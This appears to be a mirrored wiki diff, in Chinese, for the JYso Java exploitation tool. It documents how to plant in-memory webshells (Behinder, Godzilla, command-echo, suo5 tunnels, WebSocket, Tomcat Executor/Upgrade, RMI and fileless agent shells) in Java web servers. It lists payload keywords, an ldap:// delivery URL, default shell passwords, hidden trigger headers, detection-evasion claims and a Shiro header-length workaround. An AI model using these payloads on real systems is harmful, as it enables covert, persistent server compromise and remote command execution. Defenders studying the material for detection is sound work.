mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-25 08:11:53 +08:00
Updated 5、Java Mem Shell (markdown)
+75
-8
@@ -1,12 +1,5 @@
|
||||
# 使用参数
|
||||
|
||||
解决 Shiro Header 头部过长问题:
|
||||
|
||||
- 命令 `EX-DefineClassFromParameter`:从 request 中获取指定参数的值进行类加载
|
||||
|
||||
在 shiro 等环境下,直接打内存马会出现 header 太长的问题,需要进行一个中转
|
||||
从 Parameter 默认为 "dc" 中取字符进行 base64 decode,然后进行类加载,参考 ShiroAttack2
|
||||
|
||||
内存马:
|
||||
|
||||
- 命令 `EX-MS-SpringInterceptorMS-...`:向系统内植入 Spring 拦截器类型的内存马
|
||||
@@ -46,4 +39,78 @@ ldap://127.0.0.1:1389/[Controller]/[M-EX-MS-MemShellClass-...]/shell/base64param
|
||||
+ ysoserial
|
||||
```
|
||||
java -jar JYso-[version].jar -y -g [Gadget] -p "[EX-MS-MemShellClass]"
|
||||
```
|
||||
```
|
||||
|
||||
# 使用说明
|
||||
|
||||
对于植入的内存马及恶意逻辑,首先为了隐藏内存马,通过逻辑进行了判断,需要在请求 Header 中添加 `Referer: https://QI4L.cn/ `,其次执行不同的逻辑:
|
||||
这个校验的 header 头部和值可以通过 `-hk "Referer" -hv "https://QI4L.cn/"` 来进行自定义指定。
|
||||
|
||||
1. 如果是 **CMD** 内存马,程序会从 `X-Token-Data` 中读取待执行的命令,并将执行结果进行回显,这个头部可以通过 `-ch "testecho"` 来指定。
|
||||
|
||||

|
||||
|
||||
2. 如果是 **冰蝎** Shell 内存马,可使用冰蝎客户端进行连接管理,密码 `p@ssw0rd`, 可以通过 `-pw "1qaz@WSX"` 来指定。
|
||||
|
||||

|
||||
|
||||
3. 如果是 **哥斯拉** shell 内存马,可使用哥斯拉客户端进行连接管理,pass 值设为 `p@ssw0rd`,key 设为 `key`,哥斯拉内存马同时支持了 RAW 和 Base64,可以通过 `-pw "1qaz@WSX" -gzk "evilkey"` 来指定。
|
||||
|
||||

|
||||
|
||||
4. 如果是 **suo5** 内存马,则会直接创建一个 suo5 隧道,可以直接由 suo5 客户端进行连接,suo5 目前对支持了对自定义 Header 头部进行鉴权,生成时可以通过参数 `-hk "User-Agent" -hv "aaaawww"` 指定,如下可正常连接:
|
||||
|
||||

|
||||
|
||||
在配置中进行配置。
|
||||
|
||||

|
||||
|
||||
项目地址:[https://github.com/zema1/suo5](https://github.com/zema1/suo5),此项目还在积极更新中,会不定期更新相关代码支持相关功能。
|
||||
|
||||
5. 如果是 **WebSocket** 内存马,可使用 WebSocket 客户端进行链接,路径为 `/version.txt`,可以使用 `-u "/aaa"` 来指定。
|
||||
|
||||
6. 如果是 **Tomcat Executor** 内存马,程序会从 Header 中的 `X-Token-Data` 中读取待执行的命令,并将执行结果在 Header `Server-token` 进行 Base64encode 回显,可以使用 `-ch "testecho"` 来指定。
|
||||
|
||||
7. 如果是 **Tomcat Upgrade** 内存马,需要指定 `Connection: Upgrade` 以及 `Upgrade: version.txt`,程序会从 Header 中的 `X-Token-Data` 中读取待执行的命令,并将结果放回 response 中回显,可以使用 `-u "/aaa" -ch "testecho"` 来指定。
|
||||
|
||||
# 类型指定
|
||||
|
||||
目前支持的直打内存马的类型包括 Tomcat、Jetty、JBoss/Wildfly、Websphere、Resin、Spring。
|
||||
|
||||
并可以通过关键字指定内存马的类型,如冰蝎内存马、哥斯拉 Base64 内存马、哥斯拉 RAW 内存马、CMD 命令回显马等,使用方法例子如下:
|
||||
|
||||
- `EX-MS-TSMSFromThread-bx`:`冰蝎` 逻辑内存马
|
||||
- `EX-MS-TSMSFromThread-gz`:`哥斯拉` Base64 逻辑内存马
|
||||
- `EX-MS-TSMSFromThread-gzraw`:`哥斯拉` RAW 逻辑内存马
|
||||
- `EX-MS-TSMSFromThread-cmd`:`CMD` 命令回显内存马
|
||||
- `EX-MS-TSMSFromThread-suo5`:`suo5` suo5 隧道马
|
||||
|
||||
另外还本项目目前支持了 Tocmat WebSocket、Upgrade 以及 Executor 命令执行内存马,暂未扩展成多种类型(因为相关工具不支持,需魔改),使用方法例子如下:
|
||||
|
||||
- `EX-MS-TWSMSFromThread` : `CMD` 命令回显 WebSocket 内存马
|
||||
- `EX-MS-TEXMSFromThread` : `CMD` 命令回显 Executor 内存马
|
||||
- `EX-MS-TUGMSFromJMXuP` : `CMD` 命令回显 Upgrade 内存马
|
||||
|
||||
对于一些非常规的环境,本项目还提供了基于 Java 原生的 RMI 内存马及命令回显方式,通过向 RMI 注册中心绑定一个恶意类,可以随时调用执行命令并回显,使用方法例子如下:
|
||||
|
||||
- `EX-MS-RMIBindTemplate-1100-qi4l`: `CMD` 命令回显 RMI 内存马
|
||||
|
||||
无文件落地的 Agent 型内存马,通过修改系统关键类字节码,植入内存马,无任何文件落地,全程在内存操作,能绕过多种防护和检测,使用方式 `EX-Agent-Lin/Win-Filter/Servlet-bx/gzraw/gz/cmd`,目前区分 Win/Lin 操作系统,并支持了 Servlet、Tomcat Filter 型内存马,将会持续更新一些 Hook 点,使用方式例如:
|
||||
|
||||
- `EX-Agent-Lin-Filter-bx`:在 Linux 系统上对 Tomcat Filter 修改类字节码的冰蝎 Agent 型内存马
|
||||
|
||||
本工具支持的全部内存马经过测试可用,但实际受到中间件版本的限制。
|
||||
|
||||
# RMI Mem Shell
|
||||
|
||||
对于 RMIBindTemplate
|
||||
是在目标服务器上的指定端口启动注册中心(如果没有),并向其中绑定恶意的后门类,配合 `com.qi4l.jndi.exploit.RMIBindExploit`
|
||||
进行命令执行
|
||||
|
||||
# 解决 Shiro Header 头部过长问题:
|
||||
|
||||
- 命令 `EX-DefineClassFromParameter`:从 request 中获取指定参数的值进行类加载
|
||||
|
||||
在 shiro 等环境下,直接打内存马会出现 header 太长的问题,需要进行一个中转
|
||||
从 Parameter 默认为 "dc" 中取字符进行 base64 decode,然后进行类加载,参考 ShiroAttack2
|
||||
Reference in New Issue
Block a user